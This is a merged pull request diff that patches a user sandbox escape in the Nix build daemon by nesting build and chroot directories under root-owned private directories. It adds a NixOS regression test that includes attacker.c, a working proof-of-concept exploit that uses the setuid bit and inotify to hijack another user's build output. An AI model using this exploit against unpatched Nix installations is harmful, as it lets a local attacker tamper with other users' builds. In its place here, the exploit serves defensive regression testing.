Merge pull request from GHSA-q82p-44mg-mgh5

Fix user sandbox escape

doc/manual/rl-next/harden-user-sandboxing.md

@@ -0,0 +1,8 @@
+---
+synopsis: Harden the user sandboxing
+significance: significant
+issues:
+prs: <only provided once merged>
+---
+
+The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

src/libstore/unix/build/local-derivation-goal.cc

@@ -504,7 +504,13 @@ void LocalDerivationGoal::startBuilder()
  /* Create a temporary directory where the build will take
  place. */
  tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
-
+ if (useChroot) {
+ /* If sandboxing is enabled, put the actual TMPDIR underneath
+ an inaccessible root-owned directory, to prevent outside
+ access. */
+ tmpDir = tmpDir + "/build";
+ createDir(tmpDir, 0700);
+ }
  chownToBuilder(tmpDir);
 
  for (auto & [outputName, status] : initialOutputs) {
@@ -672,15 +678,19 @@ void LocalDerivationGoal::startBuilder()
  environment using bind-mounts. We put it in the Nix store
  so that the build outputs can be moved efficiently from the
  chroot to their final location. */
- chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
- deletePath(chrootRootDir);
+ chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
+ deletePath(chrootParentDir);
 
  /* Clean up the chroot directory automatically. */
- autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
+ autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
+
+ printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
+
+ if (mkdir(chrootParentDir.c_str(), 0700) == -1)
+ throw SysError("cannot create '%s'", chrootRootDir);
 
- printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
+ chrootRootDir = chrootParentDir + "/root";
 
- // FIXME: make this 0700
  if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
  throw SysError("cannot create '%1%'", chrootRootDir);
 

src/libstore/unix/build/local-derivation-goal.hh

@@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal
  */
  bool useChroot = false;
 
+ /**
+ * The parent directory of `chrootRootDir`. It has permission 700
+ * and is owned by root to ensure other users cannot mess with
+ * `chrootRootDir`.
+ */
+ Path chrootParentDir;
+
+ /**
+ * The root of the chroot environment.
+ */
  Path chrootRootDir;
 
  /**

src/libutil/file-system.cc

@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
  deletePath(path, dummy);
 }
 
+void createDir(const Path & path, mode_t mode)
+{
+ if (mkdir(path.c_str(), mode) == -1)
+ throw SysError("creating directory '%1%'", path);
+}
 
 void createDirs(const Path & path)
 {

src/libutil/file-system.hh

@@ -156,6 +156,11 @@ inline void createDirs(PathView path)
  return createDirs(Path(path));
 }
 
+/**
+ * Create a single directory.
+ */
+void createDir(const Path & path, mode_t mode = 0755);
+
 /**
  * Set the access and modification times of the given path, not
  * following symlinks.

tests/functional/check.sh

@@ -48,7 +48,10 @@ test_custom_build_dir() {
  --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
  [ "$status" = "100" ]
  [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
- local buildDir="$customBuildDir/nix-build-"*
+ local buildDir="$customBuildDir/nix-build-"*""
+ if [[ -e $buildDir/build ]]; then
+ buildDir=$buildDir/build
+ fi
  grep $checkBuildId $buildDir/checkBuildId
 }
 test_custom_build_dir

tests/nixos/default.nix

@@ -145,4 +145,5 @@ in
 
  functional_root = runNixOSTestFor "x86_64-linux" ./functional/as-root.nix;
 
+ user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
 }

tests/nixos/user-sandboxing/attacker.c

@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
+ return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char **argv) {
+ if (argc <= 1) {
+ // stage 1: place the setuid-builder executable
+
+ // make the build directory world-accessible first
+ chmod(".", 0755);
+
+ if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_) < 0) {
+ perror("Setting the suid bit on attacker");
+ exit(-1);
+ }
+
+ } else {
+ // stage 2: corrupt the victim derivation while it's building
+
+ // prevent the kill
+ if (setresuid(-1, -1, getuid())) {
+ perror("setresuid");
+ exit(-1);
+ }
+
+ if (fork() == 0) {
+
+ // wait for the victim to build
+ int fd = inotify_init();
+ inotify_add_watch(fd, argv[1], IN_CREATE);
+ int dirfd = open(argv[1], O_DIRECTORY);
+ if (dirfd < 0) {
+ perror("opening the global build directory");
+ exit(-1);
+ }
+ char buf[4096];
+ fprintf(stderr, "Entering the inotify loop\n");
+ for (;;) {
+ ssize_t len = read(fd, buf, sizeof(buf));
+ struct inotify_event *ev;
+ for (char *pe = buf; pe < buf + len;
+ pe += sizeof(struct inotify_event) + ev->len) {
+ ev = (struct inotify_event *)pe;
+ fprintf(stderr, "folder %s created\n", ev->name);
+ // wait a bit to prevent racing against the creation
+ sleep(1);
+ int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+ if (builddir < 0) {
+ perror("opening the build directory");
+ continue;
+ }
+ int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+ if (resultfile < 0) {
+ perror("opening the hijacked file");
+ continue;
+ }
+ int writeres = write(resultfile, "bad\n", 4);
+ if (writeres < 0) {
+ perror("writing to the hijacked file");
+ continue;
+ }
+ fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+ return 0;
+ }
+ }
+ }
+
+ exit(0);
+ }
+}
+

tests/nixos/user-sandboxing/default.nix

@@ -0,0 +1,129 @@
+{ config, ... }:
+
+let
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+ attacker = pkgs.runCommandWith {
+ name = "attacker";
+ stdenv = pkgs.pkgsStatic.stdenv;
+ } ''
+ $CC -static -o $out ${./attacker.c}
+ '';
+
+ try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
+ export PATH=${pkgs.coreutils}/bin:$PATH
+
+ set -x
+
+ chmod 700 .
+ # Shouldn't be able to open the root build directory
+ (! chmod 700 ..)
+
+ touch foo
+
+ # Synchronisation point: create a world-writable fifo and wait for someone
+ # to write into it
+ mkfifo syncPoint
+ chmod 777 syncPoint
+ cat syncPoint
+
+ touch $out
+
+ set +x
+ '';
+
+ create-hello-world = pkgs.writeScript "create-hello-world" ''
+ export PATH=${pkgs.coreutils}/bin:$PATH
+
+ set -x
+
+ echo "hello, world" > result
+
+ # Synchronisation point: create a world-writable fifo and wait for someone
+ # to write into it
+ mkfifo syncPoint
+ chmod 777 syncPoint
+ cat syncPoint
+
+ cp result $out
+
+ set +x
+ '';
+
+in
+{
+ name = "sandbox-setuid-leak";
+
+ nodes.machine =
+ { config, lib, pkgs, ... }:
+ { virtualisation.writableStore = true;
+ nix.settings.substituters = lib.mkForce [ ];
+ nix.nrBuildUsers = 1;
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
+ boot.kernelPackages = pkgs.linuxPackages_latest;
+ users.users.alice = {
+ isNormalUser = true;
+ };
+ };
+
+ testScript = { nodes }: ''
+ start_all()
+
+ with subtest("A builder can't give access to its build directory"):
+ # Make sure that a builder can't change the permissions on its build
+ # directory to the point of opening it up to external users
+
+ # A derivation whose builder tries to make its build directory as open
+ # as possible and wait for someone to hijack it
+ machine.succeed(r"""
+ nix-build -v -E '
+ builtins.derivation {
+ name = "open-build-dir";
+ system = builtins.currentSystem;
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+ args = [ (builtins.storePath "${try-open-build-dir}") ];
+ }' >&2 &
+ """.strip())
+
+ # Wait for the build to be ready
+ # This is OK because it runs as root, so we can access everything
+ machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+ # But Alice shouldn't be able to access the build directory
+ machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
+ machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
+ machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
+
+ # Tell the user to finish the build
+ machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+ with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
+ machine.succeed(r"""
+ nix-build -E '
+ builtins.derivation {
+ name = "innocent";
+ system = builtins.currentSystem;
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+ args = [ (builtins.storePath "${create-hello-world}") ];
+ }' >&2 &
+ """.strip())
+ machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+ # The build ran as `nixbld1` (which is the only build user on the
+ # machine), but a process running as `nixbld1` outside the sandbox
+ # shouldn't be able to touch the build directory regardless
+ machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
+ machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
+
+ # Finish the build
+ machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+ # Check that the build was not affected
+ machine.succeed(r"""
+ cat ./result
+ test "$(cat ./result)" = "hello, world"
+ """.strip())
+ '';
+
+}
+